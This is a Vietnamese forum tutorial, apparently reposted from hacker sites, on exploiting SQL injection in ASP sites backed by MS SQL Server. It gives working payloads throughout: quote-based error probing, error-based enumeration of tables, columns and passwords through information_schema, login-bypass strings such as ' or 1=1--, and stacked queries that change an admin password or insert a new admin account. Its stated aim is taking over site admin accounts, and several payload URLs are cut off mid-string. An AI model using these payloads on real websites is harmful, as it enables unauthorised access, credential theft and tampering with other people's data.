Các bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành thạo nhưng vẫn còn nhiều bạn mới làm wen với lập trình web còn chưa biết tôi xin mạn phép post lại dựa trên các bài về sql-ịnect từ nhóm Vicki , Viethacker.net ...hay một vài nơi khác .
+ SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login (với quyền Admin) mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape,..
+ Vâng hiểu về SQL-Ịnect đơn giản là chỉ có vậy tôi sẽ phân tích tiếp việc khai thác lỗi đó như thế nào , và mỗi người đều có những cách xử lý riêng
VD :
http://www.xxx.com/item.asp?item_id=1- kiểm tra xem có lỗi không : thêm dấu ' vào :
http://www.xxx.com/item.asp?item_id=1'Nếu thấy hiển thị lỗi :có dạng vd như thế này :
- Code:
-
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
Thì trang web này bị SQL-Inject chúng ta có thể hoàn toàn khai thác được thông qua việc "Hỏi Đáp" -->
Nhiều bạn khi test thấy lỗi như vậy liền dùng câu lệnh lấy hết các bảng , cột trong data:
http://www.xxx.com/item.asp?item_id=1%2bco...hema.tables))--Sẽ thu được kết quả là bảng đầu tiên:
[/code]Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'T005_CC_PACKAGES' to a column of data type int.
C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
[/code]
'T005_CC_PACKAGES' chính là 1 bảng trong data . Nếu muốn lấy tên bảng tiếp theo ta chỉ việc
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.tables where table_name not in('T005_CC_PACKAGES' )))--
tiếp tục cho đến khi nào hiện thông báo : Invalid item thì là hết table đó
Muốn lấy tên cột trong bảng thì làm như sau :
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name='tên bảng'))--
lấy tiếp thì lại dùng not in:
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name="tên bảng" not in ('Tên cột đã biết','tên cột đã biết')))--
Lấy giá trị trong cột :
http://www.xxx.com/item.asp?item_id=1%2bco...201%20'tên cột'%20from 'tên bảng chứa cột'))--
Mục đích của nhiều bạn là lấy hết toàn bộ thông tin về table , colum của data từ đó
để khai thác tài khoản đăng nhập admin của site đó . Nhưng những cách từng bước trên rất mệt khi đường Link dài quá IE lỗi luôn đó phải dùng trình duyệt khác(Mozila hay Netscape..) .
+ Có cách khác nhanh hơn :
Đăng nhập bằng user: 'or''=' pass: 'or''='
vd nếu bạn may mắn thì sẽ tìm được chỗ login vào phần quản lý web
http://www.xxx.com/admin/login.asp hiện ra form login bạn nên thử với user và pass trên trước khi tìm table và colum chứa user pass.
? Tại sao user: 'or''=' pass: 'or''=' lại có thể login được!
- Trích dẫn :
- from Viethacker.net
Giả sử như có một trang asp link đến một asp trang khác với URL như sau:
http://vịtcon/index.asp?category=food
Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"
Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
+ Phương án tìm ra user và pass nhanh khi by pass ko được
dùng tư khóa LIKE
vd tìm bảng có chứa cột có tên chứa từ pass
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.tables where colum_name LIKE('%25pass%25')))--
- Trích dẫn :
- From VietHacker.Net
-Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'
- Update/insert data vào CSDL
Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.
Để thay đổi password của "neo", bạn có thể làm như sau:
http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn chèn một record mới vào table:
http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5
Continue...